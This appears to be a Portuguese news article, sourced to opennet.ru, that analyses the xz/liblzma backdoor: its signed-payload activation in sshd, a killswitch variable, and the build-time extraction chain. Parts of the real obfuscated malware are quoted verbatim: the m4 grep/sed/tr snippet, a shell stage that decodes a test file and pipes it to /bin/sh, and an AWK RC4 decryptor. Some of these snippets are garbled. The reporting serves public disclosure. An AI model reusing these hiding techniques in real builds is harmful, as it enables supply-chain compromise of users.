Análise da lógica de ativação e funcionamento do backdoor no pacote xz

Estão disponíveis resultados preliminares de engenharia reversa de um arquivo objeto malicioso embutido no liblzma como parte de uma campanha de promoção de backdoor no pacote xz. O backdoor afeta apenas sistemas x86_64 baseados no kernel Linux e na biblioteca C Glibc, onde um patch adicional é aplicado ao sshd, permitindo a ligação com a biblioteca libsystemd para suportar o mecanismo sd_notify. Inicialmente, acreditava-se que o backdoor permitia contornar a autenticação no sshd e obter acesso ao sistema via SSH. Uma análise mais detalhada mostrou que esse não é o caso, e o backdoor fornece a capacidade de executar código arbitrário no sistema, sem deixar rastros nos logs do sshd.

Especificamente, a função RSA_public_decrypt interceptada pelo backdoor verifica a assinatura do host usando uma chave fixa Ed448 e, em caso de verificação bem-sucedida, executa o código fornecido por um host externo por meio da função system() antes da concessão de privilégios pelo processo sshd. Os dados que contêm o código para execução são extraídos do parâmetro "N" passado para a função RSA_public_decrypt (campo "n" da estrutura rsa_st, que contém a chave pública fornecida pelo host externo), verificados por soma de verificação e descriptografados com uma chave predeterminada ChaCha20 antes da verificação da assinatura digital Ed448.

Como um sinal para ativar o backdoor no sshd, usa-se o mecanismo padrão de troca de chaves de host. O backdoor explora o fato de que os certificados OpenSSH incluem a chave pública da entidade que gerou a assinatura, reagindo apenas à chave preparada pelo invasor, correspondente a uma chave fixa Ed448 predefinida. Se a verificação da assinatura pela chave pública falhar ou se a integridade dos dados para execução não for confirmada, o backdoor devolve o controle às funções padrão do SSH.

Como a chave privada do invasor é desconhecida, não é possível implementar um código de verificação que permita a terceiros ativar o backdoor e realizar um scanner de hosts comprometidos na rede. Pesquisadores desenvolveram um script que demonstra a técnica de substituição da chave pública por um conteúdo arbitrário no certificado OpenSSH transmitido pelo cliente SSH, que será processado na função RSA_public_decrypt interceptada pelo backdoor.

Os pesquisadores também notaram a presença de uma construção que desativa a backdoor (killswitch) no sistema local, na presença de uma variável de ambiente configurada antes do início do sshd, "yolAbejyiejuvnup=Evjtgvsh5okmkAvj".

Além disso, pode-se notar a análise detalhada das construções shell usadas para embaralhar o processo de extração do arquivo objeto com a backdoor e sua substituição na biblioteca liblzma. Durante a construção do pacote xz a partir do script build-to-host.m4, um código era executado que encontrava entre os arquivos de teste o arquivo bad-3-corrupt_lzma2.xz, substituía alguns caracteres nele, transformava em um arquivo não corrompido e extraiu dele um script shell. gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir\/ 2>\/dev\/null` … gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>\/dev\/null' gl_path_map='tr "\t \-_" » \t_\-'

O script shell resultante extraía gradualmente do conteúdo do arquivo good-large_compressed.lzma outro script shell, passando por determinadas sequências com os comandos head e tail, e substituindo caracteres com o comando tr. ####Olá#### # alguns bytes binários aqui, mas como é um comentário, são ignorados [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ..\/..\/config.status;then eval `grep ^srcdir= ..\/..\/config.status` srcdir="..\/..\/$srcdir" fi export i="((head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +939)";(xz -dc $srcdir\/tests\/files\/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw —lzma1 -dc|\/bin\/sh ####Mundo####

O resultado foi a formação de um shell script bastante complexo e volumoso, que extrai diretamente um arquivo com o backdoor do arquivo good-large_compressed.lzma, descriptografa-o e o insere no liblzma. Entre outras coisas, o script continha a implementação de um mecanismo de plugins, permitindo posteriormente a entrega de componentes executáveis adicionais por meio do fornecimento de novos arquivos compactados de teste, sem modificar good-large_compressed.lzma e bad-3-corrupt_lzma2.xz, mas utilizando a busca por assinatura. O código também utilizava um descriptografador baseado no algoritmo RC4, implementado na linguagem AWK: N=0 W=88664 else N=88664 W=0 fi xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed «s/\(.\)\/\1\n\/g» | LC_ALL=C awk ‘BEGIN{FS=»\n»;RS=»\n»;ORS=»»;m=256;for(i=0;i<m;i++){t[sprintf(«x%c»,i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t[«x» (NF /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true

Fonte: opennet.ru

Compre hospedagem confiável para sites com proteção contra DDoS, servidores VPS VDS 🔥 Compre hospedagem confiável para sites com proteção contra DDoS, servidores VPS VDS | ProHoster